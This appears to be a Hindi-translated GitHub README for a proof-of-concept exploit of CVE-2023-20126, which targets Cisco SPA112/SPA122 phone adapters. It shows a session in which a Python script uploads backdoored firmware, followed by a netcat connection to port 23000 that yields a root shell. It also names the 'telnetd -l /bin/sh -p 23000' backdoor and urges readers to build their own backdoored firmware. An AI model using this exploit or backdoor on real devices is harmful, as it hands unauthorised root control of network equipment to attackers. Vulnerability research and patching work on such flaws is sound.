fullspectrumdev/rancidcriscoCVE-2023-20126 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Cisco SPA फोन एडेप्टर को लक्षित करता है। telnetd के माध्यम से पोर्ट 23000/tcp पर रूट शेल प्राप्त करने के लिए दुर्भावनापूर्ण फर्मवेयर अपलोड करता है।
CVE-2023-20126 के लिए न्यूनतम व्यवहार्य PoC
यह प्रारंभिक रिलीज़ है। यह काम करता है, लेकिन यह 'सबसे सरल मामले' वाला एक्सप्लॉइट है।
SPA112/SPA122 पर परीक्षण किया गया और कार्यशील है - SPA232D के लिए एक अलग फर्मवेयर इमेज की आवश्यकता होती है।
पोर्ट 23000/tcp पर रूट-शेल देता है।
मुझे अभी भी फर्मवेयर संपादित करने के लिए उपयोग किए जाने वाले टूलचेन को साफ करना है और शायद उसे एक अलग रिपो में डालूँगा। यह अधिकतर @BigNerd95 के काम पर आधारित है, लेकिन SPA112/122 फर्मवेयर फाइलों पर काम करने के लिए छोटे बदलावों के साथ।
$ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin
Base URL: http://192.168.0.152
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.
< wait a few mins, nervously >
$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????
BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2019
build_version:6735
hardware_version:1.1.0
telnetd -l /bin/sh -p 23000 चलाती है, जिससे पोर्ट 23000/tcp पर रूट शेल मिलता है। bignerd95 के काम पर आधारित।WTFPL।
git issue का उपयोग करें।
अगर इससे आपका बेवकूफ़ी भरा डिवाइस ब्रिक हो जाता है, तो मैं कोई ज़िम्मेदारी नहीं लेता।
वह आपकी समस्या है।
मतलब, मैंने उस बैकडोर वाले फर्मवेयर को एक शाम में जोड़-तोड़ कर बनाया था।
और हाँ, आप राइटअप का पालन करके अपना खुद का बैकडोर वाला फर्मवेयर क्यों नहीं बना रहे?